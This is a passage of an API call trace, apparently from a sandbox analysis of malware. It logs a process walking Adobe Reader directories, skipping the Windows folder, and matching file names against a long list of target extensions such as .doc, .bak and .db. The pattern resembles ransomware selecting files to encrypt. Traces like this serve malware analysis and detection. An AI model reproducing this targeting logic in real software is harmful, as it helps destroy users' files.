lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".asmx") returned 5 [0200.291] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0200.291] lstrlenW (lpString=".asp") returned 4 [0200.291] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".aspx") returned 5 [0200.291] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0200.291] lstrlenW (lpString=".asr") returned 4 [0200.291] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".asx") returned 4 [0200.291] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".avi") returned 4 [0200.291] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".avs") returned 4 [0200.291] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0200.291] lstrlenW (lpString=".backup") returned 7 [0200.291] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0200.291] lstrlenW (lpString=".bak") returned 4 [0200.292] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".bay") returned 4 [0200.292] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".bd") returned 3 [0200.292] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.292] lstrlenW (lpString=".bin") returned 4 [0200.292] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".bmp") returned 4 [0200.292] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".bz2") returned 4 [0200.292] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".c") returned 2 [0200.292] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.292] lstrlenW (lpString=".cdr") returned 4 [0200.292] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".cer") returned 4 [0200.292] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".cf") returned 3 [0200.292] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.292] lstrlenW (lpString=".cfc") returned 4 [0200.292] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".cfm") returned 4 [0200.292] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".cfml") returned 5 [0200.292] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0200.292] lstrlenW (lpString=".cfu") returned 4 [0200.292] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".chm") returned 4 [0200.292] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".cin") returned 4 [0200.292] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0200.292] lstrlenW (lpString=".class") returned 6 [0200.293] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0200.293] lstrlenW (lpString=".clx") returned 4 [0200.293] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".config") returned 7 [0200.293] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0200.293] lstrlenW (lpString=".cpp") returned 4 [0200.293] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".cr2") returned 4 [0200.293] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".crt") returned 4 [0200.293] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".crw") returned 4 [0200.293] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".cs") returned 3 [0200.293] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.293] lstrlenW (lpString=".css") returned 4 [0200.293] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".csv") returned 4 [0200.293] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".cub") returned 4 [0200.293] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".dae") returned 4 [0200.293] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".dat") returned 4 [0200.293] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".db") returned 3 [0200.293] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.293] lstrlenW (lpString=".dbf") returned 4 [0200.293] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".dbx") returned 4 [0200.293] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0200.293] lstrlenW (lpString=".dc3") returned 4 [0200.294] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dcm") returned 4 [0200.294] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dcr") returned 4 [0200.294] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".der") returned 4 [0200.294] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dib") returned 4 [0200.294] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dic") returned 4 [0200.294] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dif") returned 4 [0200.294] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".divx") returned 5 [0200.294] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".djvu") returned 5 [0200.294] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".dng") returned 4 [0200.294] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".doc") returned 4 [0200.294] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".docm") returned 5 [0200.294] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".docx") returned 5 [0200.294] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".dot") returned 4 [0200.294] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0200.294] lstrlenW (lpString=".dotm") returned 5 [0200.294] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".dotx") returned 5 [0200.294] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0200.294] lstrlenW (lpString=".dpx") returned 4 [0200.295] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dqy") returned 4 [0200.295] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dsn") returned 4 [0200.295] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dt") returned 3 [0200.295] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.295] lstrlenW (lpString=".dtd") returned 4 [0200.295] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dwg") returned 4 [0200.295] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dwt") returned 4 [0200.295] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".dx") returned 3 [0200.295] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.295] lstrlenW (lpString=".dxf") returned 4 [0200.295] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".edml") returned 5 [0200.295] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0200.295] lstrlenW (lpString=".efd") returned 4 [0200.295] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".elf") returned 4 [0200.295] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".emf") returned 4 [0200.295] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".emz") returned 4 [0200.295] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".epf") returned 4 [0200.295] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".eps") returned 4 [0200.295] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1 [0200.295] lstrlenW (lpString=".epsf") returned 5 [0200.295] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1 [0200.296] lstrlenW (lpString=".epsp") returned 5 [0200.296] lstrcmpiW (lpString1=".epsp", lpString2="or.js") returned -1 [0200.296] lstrlenW (lpString=".erf") returned 4 [0200.296] lstrcmpiW (lpString1=".erf", lpString2="r.js") returned -1 [0200.296] lstrlenW (lpString=".exr") returned 4 [0200.296] lstrcmpiW (lpString1=".exr", lpString2="r.js") returned -1 [0200.296] lstrlenW (lpString=".f4v") returned 4 [0200.296] lstrcmpiW (lpString1=".f4v", lpString2="r.js") returned -1 [0200.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0200.298] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0200.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.299] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0200.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.299] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0200.299] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0200.299] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0200.299] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.300] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0200.300] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0200.300] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0200.302] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.302] FindClose (in: hFindFile=0x43a380 | out: hFindFile=0x43a380) returned 1 [0200.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.302] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0200.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.304] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0200.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.306] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0200.306] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0200.306] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0200.306] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.306] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.306] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0200.307] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.307] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0200.307] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.307] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0200.307] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.307] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0200.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.308] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0200.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.308] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0200.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.308] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0200.308] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.308] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0200.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.309] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0200.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.309] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0200.309] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi") returned 118 [0200.309] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi") returned 1 [0200.309] lstrlenW (lpString="fi-fi") returned 5 [0200.309] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1 [0200.309] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4591d60 [0200.309] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi") returned 118 [0200.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420860 [0200.310] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0200.310] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.310] lstrlenW (lpString="ui-strings.js") returned 13 [0200.310] lstrlenW (lpString=".1cd") returned 4 [0200.310] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0200.310] lstrlenW (lpString=".3ds") returned 4 [0200.310] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0200.310] lstrlenW (lpString=".3fr") returned 4 [0200.310] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0200.310] lstrlenW (lpString=".3g2") returned 4 [0200.310] lstrcmpiW 